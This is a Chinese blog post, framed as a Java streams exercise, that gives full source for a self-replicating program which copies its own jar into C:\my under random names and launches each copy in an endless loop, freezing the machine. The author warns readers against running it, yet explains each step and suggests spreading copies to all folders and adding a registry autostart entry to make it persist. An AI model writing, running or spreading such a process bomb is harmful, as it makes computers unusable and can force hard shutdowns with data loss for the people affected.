我这里就简单的使用了流与Runtime方法,可以当作对流的一种学习,本质上就是把程序自己复制到另一个地方,并启动复制过去的那个程序。我比较菜,东西比较简陋,勿喷。
需知代码跑起来后,就很难停下来,不要随意尝试,如果直接cpu吃满卡住了,建议直接拔电源或者持续按着开机按钮关机。如果性能还没吃满,可以尝试把C盘的权限完全拒绝,操作步骤为:鼠标右键C盘->属性->安全->编辑->完全控制选择拒绝->确定。
代码废话不多说,我先上完全版代码,再说我写的东西
public static void main(String[] args) {
String path = Demo.class.getProtectionDomain().getCodeSource().getLocation().getFile();
path = path.substring(1);
String[] split = path.split("/");
//名字重新更正
String oldPath = split[split.length - 1].replaceAll("\d+", "");
//目标文件夹生成
File fileFolder = new File("c:\my");
if (!fileFolder.exists()){
try {
fileFolder.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
while (true) {
BufferedInputStream reader = null;
BufferedOutputStream writer = null;
BufferedOutputStream writer2 = null;
try {
//生成随机数
long randomOne = getRandom();
//生成运行对象
Runtime mt =Runtime.getRuntime();
//读取自己
reader = new BufferedInputStream(new FileInputStream(path));
//目标位置
File file = new File("c:\my\" + randomOne + oldPath);
//目标写入读取内容,复制自己
writer = new BufferedOutputStream(new FileOutputStream(file));
byte[] buffer = new byte[8192];
int len = -1;
while ((len=reader.read(buffer))!=-1) {
// 将内容拷贝到输出文件中
writer.write(buffer,0,len);
}
//启动复制后自己
mt.exec("java -jar "+file.getAbsolutePath());
//生成随机数
long randomTwo = getRandom();
//目标位置2
File file2 = new File("c:\my\" + randomTwo + oldPath);
//写入内容目标2写入读取内容,复制自己
writer2 = new BufferedOutputStream(new FileOutputStream(file2));
byte[] buffer2 = new byte[8192];
int len2 = -1;
while ((len2=reader.read(buffer2))!=-1) {
// 将内容拷贝到输出文件中
writer.write(buffer2,0,len2);
}
//启动复制后自己
mt.exec("java -jar "+file2.getAbsolutePath());
} catch (Exception e) {
e.printStackTrace();
} finally {
//释放资源
if (null != writer) {
try {
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != writer2) {
try {
writer2.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != reader) {
try {
reader.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
public static long getRandom(){
Random random = new Random();
int i = random.nextInt(99999999);
long l = System.currentTimeMillis();
return l = l + i;
}
说明
这里先说重要的部分,不重要的后说。
1.由于这里使用的是流,第一步就是要找到你自己生成的jar包所在的位置
String path = Demo.class.getProtectionDomain().getCodeSource().getLocation().getFile();
path = path.substring(1);
第一句话就能找到你的jar包,正常运行path的内容大致如下
/D:/workspace/xxx/out/production/xxx/
如果打成jar包,最后路径会是jar包的绝对路径
由于使用这个方法获取的路径前面有一个"/",所以还需要把第一个切割掉。
2.这里是找到目标文件夹,我这里是选择固定位置,如果想要搞事,甚至可以把目标设置为所有的文件夹,当然不建议乱来,怀着学习流的心,还是老老实实比较好。
File fileFolder = new File("c:\my");
if (!fileFolder.exists()){
try {
fileFolder.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
这几句话是去查找C盘下面的my文件夹,如果此文件夹不存在,就创建一个。
3.这里就是复制自己到其他位置去,本质上就是流的复制功能
BufferedInputStream reader = null;
BufferedOutputStream writer = null;
//读取自己
reader = new BufferedInputStream(new FileInputStream(path));
//目标位置
File file = new File("c:\my\" + randomOne + oldPath);
//目标写入读取内容,复制自己
writer = new BufferedOutputStream(new FileOutputStream(file));
byte[] buffer = new byte[8192];
int len = -1;
while ((len=reader.read(buffer))!=-1) {
// 将内容拷贝到输出文件中
writer.write(buffer,0,len);
}
这里的reader,首先需要一个路径地址,获取到路径地址后,就可以把对应的东西读到手。
再通过writer,写入到你想写入的任何地方,这里也需要给出一个目标路径地址。
下面的while循环就是保证把所有内容都写入目标中。
4.这里是启动复制后其他位置后的另一个相同的程序,很好!接下来它自己就会无限数量启动,复制,启动复制文件,复制复制文件。。。。。。
然后你的cpu开始吃不消,开始卡顿,然后欢声笑语中打出gg
//生成运行对象
Runtime mt =Runtime.getRuntime();
//启动复制后自己
mt.exec("java -jar "+file.getAbsolutePath());
在这中间如果加入一段开机自启动(用cmd命令修改注册表开机自启动),将直接绝杀。(当然不,开机还有安全模式呢)
java程序写这些乱七八糟的玩意还是太不方便了,必须要jdk环境,虽然用exe4j可以打包,但还是不方便,修改操作系统也感觉不是很方便,经过这段代码,我意识到java是有极限的!



